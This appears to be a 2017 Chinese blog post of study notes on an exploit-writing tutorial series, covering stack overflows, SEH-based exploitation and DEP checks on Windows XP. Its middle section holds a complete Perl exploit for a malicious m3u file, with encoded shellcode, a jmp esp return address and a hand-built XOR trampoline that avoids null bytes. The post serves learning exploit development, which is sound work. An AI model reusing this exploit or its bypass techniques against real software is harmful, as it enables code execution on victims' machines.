《Exploit 编写系列教程》踩坑记

Exploit 编写系列教程第一篇:基于栈的溢出

①用armitage生成shellcode:

sudo /etc/init.d/postgresql start
sudo msfdb init
sudo msfconsole #启动后用db_status查看一下数据库连接状态

再打开armitage,生成shellcode:

②P18页最终想要Exploit弹出系统自带计算器,这里有个细节:

为什么是25个,不是4个?原因是除了要考虑ret 4后esp会弹掉4个字节,还要考虑shellcode的执行。程序执行是需要指令对齐的。

Exploit 编写系列教程第三篇_基于SEH的Exploit

①要想进行SEH攻击,首先要确保程序有异常处理机制。有异常处理机制的程序会安装异常处理机制,如图:

可知特征码为64 A1。在程序中查找特征码即可知有无实施SEH攻击可能性。

②windbg用于确定程序崩溃、异常、非法访问是否可利用的插件要用这个版本的MSECExtensions_1_0_6.zip,否则在xp下无法正常加载

③为什么使用pop pop ret
因为异常处理函数_except_handler的原型如下:

所以刚进入异常处理函数后的堆栈如图:

这时只要执行pop pop ret,就可以让eip指向当前SEH链的首地址。
所以,典型的exploit结构如图:

④为什么P20这里还要加这么多nop

如果不加,程序不会产生溢出异常- -||

⑤练习题中,如何采用覆盖eip的方式写exploit?
分析过程如下:

接下来,

  1. 先找出覆盖edx的字符偏移量,为4127
  2. 将偏移4127处的4个字节覆盖为某个地址,对这个地址有几点要求:
    要保证该地址减8的结果位于进程内合法的内存空间,且该内存空间此处存放的dword值须小于等于0;
    要保证这个用于覆盖的地址不能含有\0
    缓冲区对某些字节有限制措施;
    <=== 这一点我试了两天才发现,规则应该是必须传入可视ASCII码值(含可视的扩展ASCII打印字符),这也是这个漏洞程序的神坑!!!。除此之外,还要保证缓冲区的开头是http:// (这里我说的所有偏移量都没有把缓冲区开头长度包括进去)
  3. 我们再确定跳板ret指令所返回到的地址在exploit中所对应的字符偏移量,此ret引导我们跳入shellcode。偏移量为4099
  4. 然后确定shellcode存放位置,要注意存放地址不能含有\0。鉴于缓冲区地址高字节始终为00,所以我们采用jmp esp的形式进行跳转。注意找到的jmp esp地址也要不能含有\0 <=== 为了找合适的jmp esp地址,我花了很多时间。不是因为在dll里找不到jmp esp指令,而是因为缓冲区的字符限制措施,让我无头绪地调试了很久。后来换了一个地址,又好了。
  5. 由于执行jmp esp后esp指向了0x125cd4,所以我们在此处放置一个jmp to shellcode的指令,而我们的shellcode存放在0x00124ccd。这里不能采用硬编码的方式跳转,因为0x00124ccd含有00,所以采用xor指令给该地址加下密。加密钥匙是0x48487876: <=== 这个方法我也想了好久,加密钥匙我也试了好一会儿,都是因为缓冲区字符限制措施让jmp 相对位移总是失败(因为无论怎么算相对位移,里面总是包含不可视ASCII码字符ff)、试的其他加密钥匙也被限制了……默泪啊 T T
 68 4B 34 5A 48       push        485A344Bh  #0x125cd4  xor  0x48487876 = 0x485A344B
 B8 86 78 48 48       mov         eax,48487886h
 33 04 24             xor         eax,dword ptr [esp]  #执行后eax值为0x00124ccd
 50                   push        eax
 C3                   ret

最终,我们的exploit的布局为:

exploit如下:

my $file="test.m3u";

my $pre="http://";
my $shellcode=
"\x89\xe6\xda\xdb\xd9\x76\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" .
"\x58\x50\x44\x45\x50\x43\x30\x43\x30\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x45\x55\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a" .
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x45\x51\x4a\x4e\x50" .
"\x31\x49\x50\x4d\x49\x4e\x4c\x4c\x44\x49\x50\x42\x54\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4b" .
"\x44\x47\x4b\x51\x44\x47\x54\x45\x54\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x46\x44\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x51" .
"\x34\x45\x54\x48\x43\x51\x4f\x50\x31\x4a\x56\x43\x50\x51" .
"\x46\x45\x34\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45" .
"\x58\x4b\x39\x4b\x48\x4b\x33\x49\x50\x43\x5a\x46\x30\x42" .
"\x48\x4a\x50\x4c\x4a\x44\x44\x51\x4f\x42\x48\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x51\x47\x4b\x4f\x4a\x47\x42\x43\x45" .
"\x31\x42\x4c\x45\x33\x45\x50\x41\x41"."\xcc"x3796;
my $ret_to_jmp_esp=pack('V',0x7c86467b);
my $jmp_shellcode="\x68\x4B\x34\x5A\x48\xB8\x86\x78\x48\x48\x33\x04\x24\x50\xc3";
my $padding="\xcc"x9;
my $edx=pack('V',0x76366f40);
my $padding2="\x90"x866;

my $payload=$pre.$shellcode.$ret_to_jmp_esp.$jmp_shellcode.$padding.$edx.$padding2;

open(myfile,">$file");
print myfile $payload;
close(myfile);
print length($payload)."bytes\n";

这里附一个寻找可见ASCII码值的技巧:可见ASCII码值的hex值位于0x20~0xFE之间。

Exploit 编写系列教程第六篇 绕过Cookie,SafeSeh,HW DEP 和ASLR

文章里说开启DEP后,在windbg下执行dt nt!_KPROCESS 00400000 -r后会看到:

   +0x06b Flags            : _KEXECUTE_OPTIONS
      +0x000 ExecuteDisable   : 0y1
      +0x000 ExecuteEnable    : 0y0
      +0x000 DisableThunkEmulation : 0y0
      +0x000 Permanent        : 0y0

但是我开启DEP后,实测xp、win7下都是这样子的(我的硬件支持DEP):

I don't know why...

posted @ 2017-10-11 16:22  T_1  阅读(869)  评论(0编辑  收藏  举报